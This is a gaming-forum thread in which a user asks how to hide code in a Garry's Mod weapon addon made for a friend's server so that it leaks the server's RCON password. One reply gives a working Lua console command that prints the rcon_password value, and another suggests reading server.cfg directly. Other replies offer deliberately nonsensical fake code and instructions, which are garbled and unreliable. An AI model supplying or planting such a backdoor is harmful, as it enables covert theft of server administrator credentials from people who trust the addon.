type "giveMeAdmin 1" in console
My friend asked me to make him a custom weapon addon (SWeps,) and I just want to mess with him a bit and make it so that when he goes to implement the addon on his server, it (my addon) will read the server config file for the Rcon password. Then when I type in a specific command, it will print the Rcon password to the console for me.
I was wondering if this was possible? If so how would I go about programming it into the addon?
THIS IS A SERVER IN WHICH MY FRIEND HAS A HOST FOR. THIS IS ONLY A JOKE. The command (if possible) is going to be a very complex, randomly generated command. The server he is hosting is for his friends ONLY.
Last edited by YTElectroMan; 02-06-2015 at 01:15 PM.
hey i am just going to mess with him Lmao my jokes r superior, and im coding friend swep even though i can't print the rcon Password to my botnet.
okay
so
in
sv_urshiteaddonherekiddo.lua
put
then join his gameCode:concommand.Add("sv_allowlua", function() local rekt = GetConVarString("rcon_password") local son = GetConVar("rcon_password") print(rekt) print(son) end )
and enter in console
sv_allowlua
and
it *should* print the rcon password
now go away skid
Just create your own command that acts as an rcon
okay if all the mpgh guys here are 2 autistic to do it just file.Read and string.explode the server.cfg to output the rcon password ok?
Put that into Notepad and save as svr_rcon.dllCode:#include c++ --[#include autism] console.config("rcon_password") locate.ServerCFG("rcon_password") synchronise prin*****nsole("rcon_password")
After you've done that, locate the bin folder in the Garry's Mod directory and place it in there.
Once that is done you open up GMod and then type into the console 'playdemo %root%/bin/svr_rcon.dll
PROFIT!!!
TYPE this in console
rcon_password (then the password here) then type give rootadd(your username here) superadmin
sv_giveMeAdmin 1**
@tikene , stop with this shitposting, useless and non-sense things.
Last edited by T-800; 08-29-2017 at 07:47 AM.
"Never stop being a good person because of bad people"
Super User -> 15-7-2020
Global Moderator -> 23-3-2019 - 15-7-2020
Steam Moderator -> 12-12-2017 - 23-3-2019
Steam Minion+ -> 09-04-2017 - 12-12-2017
Steam Minion -> 03-01-2017 - 09-04-2017